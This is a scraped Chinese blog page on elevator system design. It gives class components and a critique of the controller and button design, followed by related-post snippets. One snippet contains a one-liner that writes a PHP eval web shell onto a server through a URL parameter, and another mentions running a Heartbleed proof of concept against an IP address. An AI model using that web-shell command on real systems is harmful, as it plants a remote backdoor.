Design Elevator
From: https://discuss.leetcode.com/topic/89/write-elevator-program-using-event-driven-programming/9
We can divide into three main components:
User
- User presses the floor button (can be up or down direction) to summon the elevator.
- User presses the elevator button to go to the destination floor.
Button
- An elevator has buttons (ElevatorButton) inside allowing user to choose the destination floor.
- Each floor has two buttons (FloorButton) to summon the elevator to go up or down from that floor.
- When the user presses the button, it illuminates.
- When the elevator reaches the desired floor, the button stops illuminating.
- Calls placeRequest() to insert into the ElevatorRequest queue when button is pressed.
Elevator
- Open or close door.
- Moves up/down.
- Stores states such as direction (up/down), speed, currentFloor.
We need a queue to store all request, this can all be encapsulated in an ElevatorRequests class. When a user presses a button, this request has to be served and is added to the processing queue. Elevator requests can be scheduled using different scheduling algorithms. ElevatorController controls the elevator by giving it instructions such as move up/down, or start/shutdown. The elevator controller reads the next elevator request and serves it.

分析:
这个设计还可以,但是里面有些问题:
1. Controller 里还缺少process() 这样的方法,这个方法的实现应该是一个while loop, 每次执行玩一个request, 就从ElevatorRequest取下一个requet. 只要从ElevatorRequest返回的request不为空,就应该按照request的楼层前进。而且,Controller里不但有Elevator的reference, 也需要有ElevatorRequest对象的reference. 这两个reference 在Controller constructor里得到初始化。
2. Button 里需要有ElevatorRequest对象的索引。
3. Button里不需要有direction. CurrentFloor 和 destinFloor 就决定了direction. 在现实生活中也是只要的。
Design Elevator的更多相关文章
- Pair Project: Elevator Scheduler [电梯调度算法的实现和测试]
作业提交时间:10月9日上课前. Design and implement an Elevator Scheduler to aim for both correctness and performa ...
- 软件工程 --- Pair Project: Elevator Scheduler [电梯调度算法的实现和测试]
软件工程 --- Pair Project: Elevator Scheduler [电梯调度算法的实现和测试] 说明结对编程的优点和缺点. 结对编程的优点如下: 在独立设计.实现代码的过程中不 ...
- cf472B Design Tutorial: Learn from Life
B. Design Tutorial: Learn from Life time limit per test 1 second memory limit per test 256 megabytes ...
- Codeforces Round #270--B. Design Tutorial: Learn from Life
Design Tutorial: Learn from Life time limit per test 1 second memory limit per test 256 megabytes in ...
- Elevator poj3539
Elevator Time Limit: 4000MS Memory Limit: 65536K Total Submissions: 1072 Accepted: 287 Case Time ...
- BUAAOO P5-P7 Elevator Simulation
目录 Abstract Introduction Topic Request Elevator Analysis Reading Requests Coordinating Scheduling an ...
- SAP Process Integration - High Level ERP/Integration Process --- Cargill Process Concept Design
Customer Industry: Commercial off-the-shelf (COTS) application ,, Food Ingredients or Agricultural S ...
- UVALive 2949 Elevator Stopping Plan(二分 + 贪心)
ZSoft Corp. is a software company in GaoKe Hall. And the workers in the hall are very hard-working. ...
- POJ3539 Elevator
Time Limit: 4000MS Memory Limit: 65536KB 64bit IO Format: %lld & %llu Description Edward wor ...
随机推荐
- [Unity] 2D开发学习教程
豆子先生,据说是官方的一个Demo, 在蛮牛网上有大部分代码的视频讲解. 这个是我学习过程中边看教程边写出来的,功能和原版基本一样,增加了手游的操控. Blog: http://www.cnblogs ...
- echo命令写shell
http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php
- heartbleed漏洞利用
1. heartbleed漏洞扫描: 2. heartbleed漏洞利用: poc.py 117.52.93.111 貌似没有打到管理员账号密码,可能是管理员没登录,其实,可以写一个自动 ...
- Orchard源码分析(3):Orchard.WarmupStarter程序集
概述 Orchard.WarmupStarter程序集包含三个类:WarmupUtility.WarmupHttpModule和Starter<T>.该程序集主要为Orchard应用启动初 ...
- Hello World(本博客启程篇)
Hello World 作为本博客第一篇日志,作为程序员,无论走到哪里,做什么事,必须先输出这句话. 一个想法 从今天3月份到现在一直在学技术,过程中坑的解决.知识的总结以及想法等都写到了" ...
- JQ分页功能
HTML <div id='page'></div> <div id='con'></div> CSS span{width: 60px;height: ...
- R入门<二>-时间序列研究
续之前那篇随笔 前天写完随笔后,很自豪的拿出来去跟带我入数据挖掘和SAS基础的大牛@八公炫耀,然后收获了一堆时间序列的材料,非常感谢大牛! ARIMA就是看图形,ACF和PACF,原理不需要知道,因为 ...
- Bus Hound 的使用方法
背景: 最近在研究USB相关协议,需要对USB数据进行抓取分析,Bus Hound是个非常赞的工具,在此将其使用方法记录下来,以备下次快速上手使用. 正文: 主界面如下: 首先关注菜单栏三个选项: C ...
- 【PHP面向对象(OOP)编程入门教程】20.PHP5接口技术(interface)
PHP与大多数面向对象编程语言一样,不支持多重继承.也就是说每个类只能继承一个父类.为了解决这个问题,PHP引入了接口,接口的思想是指定了一个实现了该接口的类必须实现的一系列方法.接口是一种特殊的抽象 ...
- 【C语言入门教程】7.2 结构体数组的定义和引用
7.2 结构体数组的定义和引用 当需要使用大量的结构体变量时,可使用结构体定义数组,该数组包含与结构体相同的数据结构所组成的连续存储空间.如下例所示: struct student stu_a[50] ...